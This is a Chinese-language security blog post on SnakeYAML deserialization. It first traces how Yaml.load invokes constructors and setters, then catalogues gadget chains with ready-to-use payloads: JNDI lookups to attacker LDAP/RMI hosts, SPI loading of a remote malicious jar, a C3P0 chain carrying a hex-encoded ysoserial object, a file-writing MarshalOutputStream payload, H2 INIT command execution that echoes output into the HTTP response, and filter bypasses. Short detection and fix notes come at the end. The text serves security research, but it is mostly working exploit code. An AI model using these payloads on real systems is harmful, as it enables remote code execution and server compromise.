# SnakeYAML反序列化总结
Table of Contents
YAML其实就是一种扩展版的标记语言,有些类似于XML。
其支持多种数据类型,而我们重点关注的,就是他的标签系统(Tag)。
简单理解,就是一个指定数据类型的功能。
name: !!str "void2eye"age: !!age 20那么其安全问题就很好理解了,其tag我们可以指定为一些危险的类,比如:
evil: !!python/object/apply:os.system ["whoami"]java: !!java.net.URL ["http://111/111"]回到我们的主题,SnakeYAML就是一个java解析yaml文件的依赖。其反序列化漏洞也与我们刚才讲的tag密切相关(当然官方并不认为这个一个漏洞,他们主张让用户不序列化非信任的yaml数据,后面也做了修复,强制使用安全的construct,这里就不细述了)
原理
SnakeYAML有两个核心方法:
- Yaml.load(): 将YAML字符串反序列化为Java对象
- Yaml.dump(): 将Java对象序列化为YAML字符串
直接看例子
package org.example.snakeyaml;
public class expBean { private int age; private String name;
public expBean() { System.out.println("expBean's construct be called"); }
public int getAge() { return age; }
public void setAge(int age) { System.out.println("setAge be called"); this.age = age; }
public String getName() { return name; }
public void setName(String name) { System.out.println("setName be called"); this.name = name; }}Yaml yaml = new Yaml();expBean data = yaml.load("!!org.example.snakeyaml.expBean {age: 18, name: 'SnakeYAML'}");
String yamlString = yaml.dump(data);System.out.println("Loaded YAML Object: " + data);System.out.println("YAML String: " + yamlString);
//expBean's construct be called//setAge be called//setName be called//Loaded YAML Object: org.example.snakeyaml.expBean@39a054a5//YAML String: !!org.example.snakeyaml.expBean {age: 18, name: SnakeYAML}可以看到Yaml.load调用了expBean的构造方法和setter方法,调试看看在哪里调用的。
跟进到loadFromReader方法,这里的Composer先初始化,之后用于YAML处理的第二阶段:
- Parser - 将YAML文本解析为事件流
- Composer - 将事件流组合成节点树(Node Tree) <---
- Constructor - 将节点树构造成Java对象
我们重点关注getSingleData()
这个方法核心在从YAML流中获取单个文档并构造成指定类型的Java对象,而这里的Node就是通过composer从YAML流里面获取的根节点,其格式就是从!!转换为tag,即SnakeYAML内部的节点树结构
tag:yaml.org,2002:org.example.snakeyaml.expBean == !!org.example.snakeyaml.expBean最后调用constructDocument 将节点树转换为Java对象,继续跟进。
继续跟进
根据节点类型和标签获取对应的构造器,然后检查缓存(防止在构造过程中被其他地方创建),再调用构造器的construct方法创建对象,继续跟进construct()
这里刚好印证了yaml的功能,即对键值对,列表,对象的解析。前两个if判断是不是Map或者Collection的子类,最后的else则是对javaBean的处理。注意这里构造javaBean类的时候分为两步,newInstance之后调用constructJavaBean2ndStep填充对象。
先看newInstance,这里已经拿到expBean了,可以看到确实调用了构造方法。
继续跟进:constructJavaBean2ndStep
这里我们的expBean没有注册TypeDescription,也就是正常的Bean,继续往下走到getProperty
继续走到getPropertiesMap()方法
注意看,这个地方会对public属性做不同的处理
对比两种get方法:
很明显看出,正常javaBean属性是通过setter.invoke()来设置的,而public方法则是直接调用反射来取值的(这样做估计是为了节省开销),但是这也说明了一点
让我们步出,最后走到constructJavaBean2ndStep的property.set(object, value);方法
省略后面的递归构建和一些非核心的操作,
最后美美返回load好的对象。
了解原理之后,接下来就是一些SnakeYAML Gadget
一些Gadget以及利用姿势
sink点就是setter和构造方法
JdbcRowSetImpl
又是我们的老朋友,出网打JNDI。
setAutoCommit -> connect -> lookup(this.getDataSourceName());
符合snakeYAML触发setter条件,伟大,无需多言。
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://ip/evil, autoCommit: true}ScriptEngineManager
先讲讲SPI机制,也就是Service Provider Interface,是Java提供的一种服务发现机制,允许框架发现和加载接口的实现类,而不需要在代码中硬编码具体的实现。
其核心就在于 ServiceLoader.load()方法
public final class ServiceLoader<S> implements Iterable<S> {
public static <S> ServiceLoader<S> load(Class<S> service) { // 获取当前线程的类加载器 ClassLoader cl = Thread.currentThread().getContextClassLoader(); return ServiceLoader.load(service, cl); }
public static <S> ServiceLoader<S> load(Class<S> service, ClassLoader loader) { return new ServiceLoader<>(service, loader); }
private ServiceLoader(Class<S> svc, ClassLoader cl) { service = Objects.requireNonNull(svc, "Service interface cannot be null"); loader = (cl == null) ? ClassLoader.getSystemClassLoader() : cl; reload(); }
public void reload() { providers.clear(); lookupIterator = new LazyIterator(service, loader); }
// 关键:查找配置文件 private class LazyIterator implements Iterator<S> { Class<S> service; ClassLoader loader; Enumeration<URL> configs = null; String nextName = null;
private boolean hasNextService() { if (configs == null) { try { // 关键路径:META-INF/services/ + 接口全名 String fullName = PREFIX + service.getName(); configs = loader.getResources(fullName); } catch (IOException x) { fail(service, "Error locating configuration files", x); } } // 解析配置文件,获取实现类名称 }
private S nextService() { String cn = nextName; nextName = null; Class<?> c = null; try { // 关键:加载并实例化实现类 c = Class.forName(cn, false, loader); } catch (ClassNotFoundException x) { fail(service, "Provider " + cn + " not found"); }
try { // 创建实例 S p = service.cast(c.newInstance()); providers.put(cn, p); return p; } catch (Throwable x) { fail(service, "Provider " + cn + " could not be instantiated", x); } } }}
那就构建:
/src ./META-INF/services javax.script.ScriptEngineFactory 内容:v2e.V2EScriptEngineFactory ./v2e V2EScriptEngineFactory.java 内容:package v2e;
import javax.script.ScriptEngine;import javax.script.ScriptEngineFactory;import java.io.IOException;import java.util.List;
public class V2EScriptEngineFactory implements ScriptEngineFactory {
public V2EScriptEngineFactory() { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } }
@Override public String getEngineName() { return null; }
@Override public String getEngineVersion() { return null; }
@Override public List<String> getExtensions() { return null; }
@Override public List<String> getMimeTypes() { return null; }
@Override public List<String> getNames() { return null; }
@Override public String getLanguageName() { return null; }
@Override public String getLanguageVersion() { return null; }
@Override public Object getParameter(String key) { return null; }
@Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
@Override public String getOutputStatement(String toDisplay) { return null; }
@Override public String getProgram(String... statements) { return null; }
@Override public ScriptEngine getScriptEngine() { return null; }}
javac src/v2e/V2EScriptEngineFactory.javajar -cvf yamlExp.jar -C src/ .poc
String exp = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8989/yamlExp.jar\"]\n" + " ]]\n" + "]";Yaml yaml = new Yaml();yaml.load(exp);调试一下,前面从getSingleData -> constructDocument -> constructor.construct(node);就不演示了,走到construct方法,发现跟我们刚开始的expBean有些不同
这位是因为之前expBean的yaml格式是键值对结构,所以construct把其作为MappingNode 处理,而这里的spi payload是列表,所以作为SequenceNode 来处理,这这一处理不会像MappingNode那样先构造javaBean再调用setter来还原类而是直接调用对应的构造函数。
这里处理也很好理解,就是实现了通过构造器创建不可变对象的完整流程,分为两个阶段:
-
构造器筛选:根据参数数量筛选匹配的构造器
YAML序列有N个元素 → 寻找有N个参数的构造器 将符合条件的构造器收集到
possibleConstructors列表 -
最优构造器选择和对象创建:逐个构造参数
链子其实就是
URL[] urls = {new URL("http://evil.com/exploit.jar")};URLClassLoader loader = new URLClassLoader(urls);ScriptEngineManager manager = new ScriptEngineManager(loader);// 这会触发SPI机制,加载远程的ScriptEngineFactory实现
initEngines:123, ScriptEngineManager (javax.script)init:84, ScriptEngineManager (javax.script)<init>:75, ScriptEngineManager (javax.script)newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:422, Constructor (java.lang.reflect)construct:592, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)loadFromReader:477, Yaml (org.yaml.snakeyaml)load:406, Yaml (org.yaml.snakeyaml)main:105, spiExp (org.example.snakeyaml)
ScriptEngineManager(loader) -> init(loader) -> initEngines(loader) -> ServiceLoader<ScriptEngineFactory>.iterator().next() -> 先实例化的NashornScriptEngineFactory,第二次实例化远程jar中的恶意类。
Apache XBean
<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.20</version></dependency>poc
String exp = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"void2eye\",!!javax.naming.Reference [\"foo\", \"EvilPayload\", \"http://127.0.0.1:8989/\"],!!org.apache.xbean.naming.context.WritableContext []]]";Yaml yaml = new Yaml();yaml.load(exp);BadAttributeValueExpException老朋友了,其构造方法会调用toString
org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding本身没有toString方法但是继承自Binding
Binding的toString会调用getObject,而org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding#getObject()会调用
org.apache.xbean.naming.context.ContextUti#resolve
NamingManager.getObjectInstance,jndi高版本绕过这一块。这里既可出网打远程加载,也可本地打BeanFactory。具体在jndi高版本的文章我会细讲,这里先按下不表
Spring PropertyPathFactoryBean
有springframwork依赖基本都行
poc
String exp = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"ldap://127.0.0.1:7777/Exploit\", propertyPath: \"void2eye\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"ldap://127.0.0.1:7777/Exploit\"]}}";Yaml yaml = new Yaml();yaml.load(exp);原理很简单,PropertyPathFactoryBean的setBeanFactory能触发任意getBean
而SimpleJndiBeanFactory的getBean会触发lookup进而可以打jndi
Apache Commons Configuration
<dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version></dependency>poc
String exp = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:7777/Exploit\"]]: 1";Yaml yaml = new Yaml();yaml.load(exp);直接把JNDIConfiguration里面的所有lookup打上断点,然后直接开调!
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)getKeys:203, JNDIConfiguration (org.apache.commons.configuration)getKeys:182, JNDIConfiguration (org.apache.commons.configuration)<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)hashCode:505, AbstractMap (java.util)hash:338, HashMap (java.util)put:611, HashMap (java.util)processDuplicateKeys:125, SafeConstructor (org.yaml.snakeyaml.constructor)flattenMapping:81, SafeConstructor (org.yaml.snakeyaml.constructor)flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor)constructMapping2ndStep:212, SafeConstructor (org.yaml.snakeyaml.constructor)constructMapping:557, BaseConstructor (org.yaml.snakeyaml.constructor)construct:600, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)loadFromReader:477, Yaml (org.yaml.snakeyaml)load:406, Yaml (org.yaml.snakeyaml)main:11, CCExp (org.example.snakeyaml)从调用栈就知道是ConfigurationMap处理key造成的,由于整个过程会对key进行多次处理,故也会多次调用lookup
Resource
<dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-jndi</artifactId> <version>9.4.8.v20171121</version></dependency><dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-plus</artifactId> <version>9.4.8.v20171121</version></dependency><dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-util</artifactId> <version>9.4.8.v20171121</version></dependency>poc
String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"EvilPayload\", \"http://localhost:8989/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";Yaml yaml = new Yaml();yaml.load(poc);简单说一下,在Resource的父类org.eclipse.jetty.plus.jndi.NamingEntry中
__是Jetty框架自定义的特殊JNDI上下文名称,用来存储所有的NamingEntry对象,再来看NamingEntr是save方法
Root Context├── __ (Jetty上下文)│ ├── v2e (Reference对象) ←── 第一个Resource绑定│ └── v2e/test (普通对象) ←── 绑定第二个Resource触发lookup所以就是尝试创建v2e/test时触发对v2e的查找这个时候触发jndi
C3P0 JndiRefForwardingDataSource
<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version></dependency>poc
String exp = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"rmi://localhost/Exploit\", loginTimeout: \"0\"}";Yaml yaml = new Yaml();yaml.load(exp);C3p0不赖,老生常谈了。
setLoginTimeout -> inner() -> dereference() -> lookup()
C3P0不出网
poc
java -jar ysoserial.jar CommonsCollections2 "calc" > calc.ser
public class HexEncode { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("calc.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); }
public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; }
public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); }
sb.append(sTemp.toUpperCase()); } return sb.toString(); }}
//expSystem.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
String exp = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001b0000000171007e0020737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878;\"}";Yaml yaml = new Yaml();yaml.load(exp);原理也很简单,在WrapperConnectionPoolDataSource这个类的父类WrapperConnectionPoolDataSourceBase里面的setUserOverridesAsString,一直会走到将Hex值反序列化
deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser)fromByteArray:123, SerializableUtils (com.mchange.v2.ser)parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)fireVetoableChange:375, VetoableChangeSupport (java.beans)fireVetoableChange:271, VetoableChangeSupport (java.beans)setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)set:72, MethodProperty (org.yaml.snakeyaml.introspector)constructJavaBean2ndStep:314, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)construct:207, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)loadFromReader:477, Yaml (org.yaml.snakeyaml)load:406, Yaml (org.yaml.snakeyaml)main:13, C3P0NotNetExp (org.example.snakeyaml)MarshalOutputStream不出网(fj1.2.68写文件)
{ "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "dst", "append": "false" }, "infl": { "input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen": 1048576 }, "protocolVersion": 1}跟fj一样都是调用setter,所以这里的poc直接拿来用
poc
String exp = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]";Yaml yaml = new Yaml();yaml.load(exp);网上抄的脚本
package com.zlg.serialize.snakeyaml;
import org.yaml.snakeyaml.Yaml;
import java.io.*;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.zip.Deflater;
public class SnakeYamlOffInternet { public static void main(String [] args) throws Exception { String poc = createPoC("本的的恶意文件","想写进去的路径"); Yaml yaml = new Yaml(); yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception { File file = new File(SrcPath); Long FileLength = file.length(); byte[] FileContent = new byte[FileLength.intValue()]; try{ FileInputStream in = new FileInputStream(file); in.read(FileContent); in.close(); } catch (FileNotFoundException e){ e.printStackTrace(); } byte[] compressbytes = compress(FileContent); String base64str = Base64.getEncoder().encodeToString(compressbytes); String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]"; System.out.println(poc); return poc; }
public static byte[] compress(byte[] data) { byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset(); compresser.setInput(data); compresser.finish(); ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); try { byte[] buf = new byte[1024]; while (!compresser.finished()) { int i = compresser.deflate(buf); bos.write(buf, 0, i); } output = bos.toByteArray(); } catch (Exception e) { output = data; e.printStackTrace(); } finally { try { bos.close(); } catch (IOException e) { e.printStackTrace(); } } compresser.end(); return output; }}配合打SPI
String exp = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"file:./yaml-payload.jar\"]\n" + // win用file:来替代file:// " ]]\n" + "]";Yaml yaml = new Yaml();yaml.load(exp);
h2不出网
经典利用
String exp = "!!org.h2.jdbc.JdbcConnection [ \"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\\\"calc.exe\\\")\\\\; }$$\\\\;CALL EXEC ()\\\\;\", {}, \"a\", \"b\", false ]";String exp2 ="!!org.h2.jdbc.JdbcConnection\n" + "- jdbc:h2:mem:test\n" + "- MODE: MSSQLServer\n" + " INIT: |\n" + " drop alias if exists exec;\n" + " CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec(\"calc.exe\");}$$;\n" + " CALL EXEC ();\n" + "- a\n" + "- b\n" + "- false";Yaml yaml = new Yaml();yaml.load(exp);exp用两个转义符是为了转义分号以达到init执行多个sql语句。
至于其原理,参考p神的文章https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html
鉴于fj的h2利用链
[ { "@type": "java.lang.Class", "val": "org.h2.jdbcx.JdbcDataSource" }, { "@type": "org.h2.jdbcx.JdbcDataSource", "url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;" }, { "$ref": "$[1].connection" }]简单说一下,就是实例化org.h2.jdbcx.JdbcDataSource之后调用setUrl然后通过$ref[1]调用实例化的JdbcDataSource的getConnection方法
而我们注意到实际上getConnection就是调用了org.h2.jdbc.JdbcConnection的构造方法,这也是为什么poc长那样。
其签名:
- jdbc 完整url
- 参数列表,对应到YAML里面就是一个字典
- 账号
- 密码
- 这个参数决定在目标服务器上,是否会当只有一个已经存在的h2数据库文件进行连接才能执行后续JDBC注入操作,fasle的话内存数据库
jdbc:h2:mem无法使用。所以我们这里设置为true
h2不出网无回显
需要有springframework依赖
poc
!!org.h2.jdbc.JdbcConnection- jdbc:h2:mem:test- MODE: MSSQLServer INIT: | DROP ALIAS IF EXISTS EXEC; CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("whoami.exe").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$; CALL EXEC ();- a- b- false这里先附上一张spring关于线程绑定上下文的原理图
H2的ALIAS代码在同一个HTTP请求线程中执行,所以可以用StreamUtils.copy将命令执行结果从子进程复制到返回包,可以这么理解:
// 1. 执行命令,获取子进程Process process = Runtime.getRuntime().exec("whoami.exe");
// 2. 获取命令输出流(相对于Java是输入流)InputStream cmdOutput = process.getInputStream();
// 3. 获取Spring请求上下文(接口类型)RequestAttributes attrs = RequestContextHolder.currentRequestAttributes();
// 4. 强转为Servlet实现,调用getResponse()HttpServletResponse response = ((ServletRequestAttributes) attrs).getResponse();
// 5. 获取HTTP响应输出流OutputStream httpOutput = response.getOutputStream();
// 6. 将命令结果复制到HTTP响应StreamUtils.copy(cmdOutput, httpOutput);
ClassPathXmlApplicationContext
出网利用
!!org.springframework.context.support.ClassPathXmlApplicationContext [ "http://ip/evil.xml" ]<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 获取Runtime实例 --> <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime"/>
<!-- 执行命令 --> <bean id="exec" factory-bean="runtime" factory-method="exec"> <constructor-arg value="calc.exe"/> </bean></beans>更复杂的可以去用javaChain生成,这里就不演示了。
不出网 方法一
利用前面提到的MershalOutputStream写文件在用file协议去读,这里就不赘述了。
不出网 方法二
bypass技巧
回到snakeYAML解析节点树的知识点,结合浅蓝师傅的文章:https://b1ue.cn/archives/407.html
若是ban掉!!有两种绕过方法
// 1!<tag:yaml.org,2002:javax.script.ScriptEngineManager>[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>["http://ip/yaml-payload.jar"]]]]
// 2 利用%TAG来申明一个TAG, 后续再调用!str的话就会自动把TAG前缀拼接补全%TAG ! tag:yaml.org,2002:---!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]探测与修复
spi
参考Y4tacker师傅的文章,
原理是snakeYAML解析带键值对的集合的时候会对键调用hashCode方法,进而触发dns解析。
String payload = "{!!java.net.URL [\"dnslog\"]: 1}";
String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \"[dnslog](dnslog)\"]: 1]";
key: [!!java.lang.String {}: 0, !!java.net.URL [null, "dnslog"]: 1]修复
- 升级到snakeYAML2
- 手动调用SafeConstructor()
yaml = new Yaml(new SafeConstructor());
yaml.load(exp)参考
https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html
https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML
https://h3rmesk1t.github.io/2023/09/25/SnakeYaml/#%E6%A3%80%E6%B5%8B